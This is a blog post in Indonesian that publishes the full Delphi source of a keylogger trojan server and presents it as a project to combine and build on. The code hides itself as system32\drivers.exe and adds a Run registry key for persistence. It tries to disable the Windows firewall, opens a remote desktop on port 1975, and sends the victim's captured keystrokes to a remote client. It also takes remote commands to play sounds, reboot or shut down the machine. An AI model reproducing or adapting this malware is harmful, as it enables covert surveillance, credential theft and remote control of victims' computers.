Delphi Online Keylogger (Server Side)

4 05 2009

Dari beberapa project yang ada, dapat kita gabungkan menjadi suatu aplikasi yang sip markusip. Gabungan antara project chatt dan offline Keylogger tentunya, Tetapi masih sangat sederhana dan perlu modifikasi ulang.

Berikut source untuk aplikasi server+keylogger nya:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, shellapi, Registry, XDesktopServer, mmsystem, ScktComp;

type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
trojan: TDesktopServer;
ServerSocket1: TServerSocket;
Memo2: TMemo;
Button1: TButton;
Edit1: TEdit;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1Accept(Sender: TObject;
Socket: TCustomWinSocket);
procedure Button1Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Edit1Change(Sender: TObject);

private
{ Private declarations }

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses
untOffLineLogger, Unit2; //untOffLineLogger ada di project offline keylogger

{$R *.dfm}
{$R wave.res}

{----------procedure start up file-----------------}

procedure RunOnStartup(sProgTitle,sCmdLine: string;bRunOnce : boolean );
var
sKey : string;
reg : TRegIniFile;
begin
if( bRunOnce )then
sKey := 'Once'
else
sKey := '';

reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString(
'SoftwareMicrosoft'
+ 'WindowsCurrentVersionRun'
+ sKey + #0,
sProgTitle,
sCmdLine );
reg.Free;
end;

{---------------keylogger unit-------------------}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
OLGetLetter;
end;

{---------------saat aplikasi berjalan:-------------------}

procedure TForm1.FormCreate(Sender: TObject);
var
nmfile,nmfile2: string; //variabel copy file//
begin

serversocket1.Open;

// disable firewall win xp sp2>>>>>>>>  tp msh blum bisa berfungsi

shellexecute(0,'open', 'net.exe',' stop sharedaccess',0,0);

//-----------------copy file----------->>>>>>>>>>>>>

nmfile := Application.ExeName;
nmfile2 := 'c:windowssystem32drivers.exe';

CopyFile(PChar(nmfile), PChar(nmfile2), False);

//----------------open desktop-------->>>>>>>>>>>>>>
//komponennya bisa di download di maswie2000.wordpress.com

trojan.Portnya:='1975'; //membuka port 1975 untuk komunikasi
trojan.OpenDesktop;

//----------------kirim hasil text keylogger>>>>>>>>>>>

serversocket1.Active:=true;
if(serversocket1.Socket.activeconnections>0)then
serversocket1.Socket.Connections[0].SendText('Data Ketikan Korban : '+memo1.Text);

//----------------start up file>>>>>>>>>>>>>>>>>>>>>>

RunOnStartup(
'drivers',
'c:WINDOWSsystem32drivers.exe',
False);

//----------------hidden proccess>>>>>>>>>>>>>>>>>>>>>

Application.ShowMainForm := false;

//-----------------directory save file>>>>>>>>>>>>>>>>>

if DirectoryExists('c:winntsystem32') = true then
if DirectoryExists('c:winntsystem32winux') = false then
begin
CreateDir('c:winntsystem32winux');
end;

if DirectoryExists('c:windowssystem32') = true then
if DirectoryExists('c:windowssystem32winux') = false then
begin
CreateDir('c:windowssystem32winux');
end;
end;

//saat socket server menerima koneksi dr client, eksekusi button1 >>>>>>>>>>>>>>

procedure TForm1.ServerSocket1Accept(Sender: TObject;
Socket: TCustomWinSocket);
begin
button1.Click;
end;

//Button 1 : pindahkan text memo 1 ke memo 2
//memo 1 adalah hasil ketikan korban

procedure TForm1.Button1Click(Sender: TObject);
begin
memo2.Lines.Add(memo1.text);
if(serversocket1.Socket.activeconnections>0)then
serversocket1.Socket.Connections[0].SendText('Victim Log: '+memo1.text);
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
edit1.Text:=socket.ReceiveText;
end;

procedure TForm1.Edit1Change(Sender: TObject);
begin

if edit1.Text='message' then
begin form2.Show; end;

if edit1.Text='horse' then
begin PlaySound(PChar(1),HInstance, snd_ASync or snd_Memory or snd_Resource);
edit1.Clear;
end;

if edit1.Text='reboot' then
begin winexec('shutdown -r -t 0 -f',sw_normal); end;

if edit1.Text='shutdown' then
begin winexec('shutdown -s -t 0 -f',sw_normal); end;

if edit1.Text='close' then
begin form2.Close; end;

if edit1.Text='ghost' then
begin PlaySound(PChar(2),HInstance, snd_ASync or snd_Memory or snd_Resource);
edit1.Clear; end;

if edit1.Text='ghost2' then
begin PlaySound(PChar(3),HInstance, snd_ASync or snd_Memory or snd_Resource);
edit1.Clear;
end;

if edit1.Text='nging' then
begin PlaySound(PChar(4),HInstance, snd_ASync or snd_Memory or snd_Resource);
edit1.Clear;
end;

if edit1.Text='ngung' then
begin PlaySound(PChar(5),HInstance, snd_ASync or snd_Memory or snd_Resource);
edit1.Clear;
end;

if edit1.Text='startup' then
begin PlaySound(PChar(6),HInstance, snd_ASync or snd_Memory or snd_Resource);
edit1.Clear;
end;
end;

end.

Actions

Information

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s




%d bloggers like this: